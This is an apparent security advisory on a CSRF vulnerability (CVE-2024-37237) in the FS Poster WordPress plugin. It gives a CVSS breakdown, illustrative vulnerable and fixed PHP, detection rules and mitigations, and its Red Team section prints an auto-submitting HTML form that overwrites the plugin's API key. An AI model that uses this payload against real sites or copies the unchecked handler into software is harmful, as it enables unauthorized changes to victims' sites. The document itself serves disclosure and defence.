CVE-2024-37237

Executive Summary

CVE-2024-37237 is a Cross-Site Request Forgery (CSRF) vulnerability in the FS Poster WordPress plugin, affecting versions from n/a through 6.5.8. This vulnerability allows an attacker to perform unauthorized actions on behalf of an authenticated administrator, such as modifying plugin settings or posting content, by tricking the victim into clicking a malicious link or visiting a crafted page. The vulnerability is classified as a WordPress ecosystem issue, as it resides within the plugin's codebase and does not involve server-level components like Apache or Nginx. The CVSS score is 4.3 (Medium), with a low EPSS score of 0.0%, indicating limited active exploitation in the wild. No public proof-of-concept (PoC) or exploit code is available at this time.

Supply Chain & Package Security

This vulnerability affects the FS Poster WordPress plugin, which is distributed through the WordPress plugin repository and third-party marketplaces. As a WordPress plugin, it is not managed via NPM, PyPI, Go, or Ruby package managers. However, administrators should verify the integrity of plugin files by checking checksums or using official WordPress update mechanisms. The lack of a patch from the vendor (fs-code) increases supply chain risk, as users must rely on manual mitigations or alternative plugins.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N) – The attack can be launched remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – The attacker does not need authentication.
• User Interaction: Required (UI:R) – The victim must click a link or visit a page.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: None (C:N) – No data exposure.
• Integrity Impact: Low (I:L) – Unauthorized actions can be performed.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the potential for privilege escalation (e.g., creating admin accounts) if combined with other vulnerabilities increases the severity.

Deep Dive & Mechanics

The FS Poster plugin allows users to schedule and auto-post content to social media platforms. The CSRF vulnerability arises from the lack of nonce validation in certain administrative actions, such as saving settings or triggering posts. An attacker can craft a malicious HTML page or email that, when viewed by an authenticated administrator, sends a forged request to the WordPress site. For example, the attacker could change the plugin's API keys or post unauthorized content to connected social media accounts.

The vulnerability is rooted in the plugin's failure to implement WordPress's built-in CSRF protection mechanisms (e.g., wp_nonce_field() and check_admin_referer()). This allows cross-origin requests to be processed without verifying the user's intent.

Vulnerable vs. Patched Code

Since no patch is available, the following illustrates the vulnerable pattern and a hypothetical fix.

Vulnerable Code (fs-poster <= 6.5.8):

// In admin-ajax.php or settings page
function fs_poster_save_settings() {
    // No nonce check
    update_option('fs_poster_api_key', $_POST['api_key']);
    update_option('fs_poster_schedule', $_POST['schedule']);
    // ...
}
add_action('wp_ajax_fs_poster_save_settings', 'fs_poster_save_settings');

Patched Code (Hypothetical Fix):

function fs_poster_save_settings() {
    // Add nonce verification
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'fs_poster_settings_nonce')) {
        wp_die('CSRF validation failed.');
    }
    update_option('fs_poster_api_key', sanitize_text_field($_POST['api_key']));
    update_option('fs_poster_schedule', sanitize_text_field($_POST['schedule']));
    // ...
}
add_action('wp_ajax_fs_poster_save_settings', 'fs_poster_save_settings');

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with FS Poster plugin version <= 6.5.8.
• An authenticated administrator session (victim).
• Attacker-controlled web server or email client.

Exploitation Steps:

1. Craft a malicious HTML page that submits a form to the vulnerable endpoint.
2. Host the page on an attacker-controlled server or send it via email.
3. Trick the victim (authenticated admin) into visiting the page.
4. The form auto-submits, changing plugin settings (e.g., API key to attacker's key).

Example Malicious HTML:

<html>
<body>
<form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST">
    <input type="hidden" name="action" value="fs_poster_save_settings">
    <input type="hidden" name="api_key" value="attacker_key">
    <input type="hidden" name="schedule" value="malicious_schedule">
    <input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

Blue Team

Detection:

• Monitor for unusual POST requests to /wp-admin/admin-ajax.php with action=fs_poster_save_settings from unexpected referrers.
• Check for changes to plugin settings via audit logs (if available).
• Use the Sigma rule below to detect CSRF attempts.

Mitigation:

• Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php without a valid nonce.
• Enforce SameSite cookies (Lax or Strict) for WordPress admin cookies.
• Educate administrators about phishing and malicious links.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /wp-admin/admin-ajax.php with action=fs_poster_save_settings and no _wpnonce parameter.
• File: Modified wp-content/plugins/fs-poster/ files (e.g., admin-ajax.php) with suspicious code.
• Log: WordPress debug log entries showing failed nonce checks (if logging enabled).
• Behavior: Unexpected changes to FS Poster settings (e.g., API keys, schedule).

Detection Engineering

YARA Rule

rule CVE_2024_37237_CSRF_FS_Poster {
    meta:
        description = "Detects vulnerable FS Poster plugin files lacking nonce checks"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-37237"
    strings:
        $vuln_func = "update_option" ascii wide nocase
        $ajax_hook = "wp_ajax_fs_poster" ascii wide nocase
        $no_nonce = "check_admin_referer" ascii wide nocase
    condition:
        $vuln_func and $ajax_hook and not $no_nonce
}

Sigma Rule

title: CVE-2024-37237 CSRF Attempt on FS Poster
id: 8a3f7c2e-5d1b-4a9e-8c6f-2b3d1e4f5a6b
status: experimental
description: Detects CSRF attempts targeting FS Poster plugin settings
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        c-uri|contains: "/wp-admin/admin-ajax.php"
        cs-uri-query|contains: "action=fs_poster_save_settings"
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: medium

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2024-37237 FS Poster CSRF Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=fs_poster_save_settings"; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin: If not critical, deactivate and delete FS Poster until a patch is released.
2. Apply virtual patching: Use a WAF to block requests to admin-ajax.php with action=fs_poster_save_settings unless a valid nonce is present.
3. Restrict admin access: Limit administrative sessions to trusted IPs and enforce multi-factor authentication (MFA).

Long-term Fix:

• Contact the vendor (fs-code) for an official patch or consider migrating to an alternative plugin with active security support.
• Implement WordPress CSRF best practices: use wp_nonce_field() in forms and check_admin_referer() in handlers.

Monitoring:

• Enable WordPress audit logging (e.g., using plugins like WP Activity Log).
• Review server logs for suspicious POST requests to admin-ajax.php.

Valters IT
Securing Digital Frontiers